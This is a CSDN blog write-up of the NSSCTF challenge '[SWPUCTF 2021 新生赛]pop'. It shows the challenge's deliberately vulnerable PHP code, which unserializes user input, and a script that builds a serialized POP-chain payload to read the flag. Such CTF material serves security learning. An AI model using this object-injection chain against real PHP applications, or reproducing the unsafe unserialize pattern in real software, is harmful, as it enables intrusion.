NSSCTF刷题笔记web12——[SWPUCTF 2021 新生赛]pop

文章介绍了如何在PHP中利用构造反序列化链来控制程序流程,通过类的继承和方法调用,实现从`__destruct`到`Getflag`的执行顺序。给出了一个实际的代码示例,展示了如何构造并输出序列化后的对象。
摘要由CSDN通过智能技术生成
<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

这是一题构造反序列化链的题目

简单了解下什么是反序列化,就是把一个对象或者字符串数字之类的东西,变成一条固定形式的字符串,有点类似json,用来传递数据,而且序列化出来的字符串可以通过反序列化重新变成原来的东西。

说白了就是把一个对象也好,一个数组字符串也罢,打包起来,变成字符串,需要的时候反序列化变回来

那么我们这题的构造链条是这样的

__destruct    -->    __toString    -->     Getflag

运行就执行      以字符串输出就执行        获取flag

构造代码输出即可

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a = new w22m();
$b = new w33m();
$c = new w44m();

$a->w00m=$b;

$b->w00m=$c;
$b->w22m='Getflag';

echo urlencode(serialize($a));
?>

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值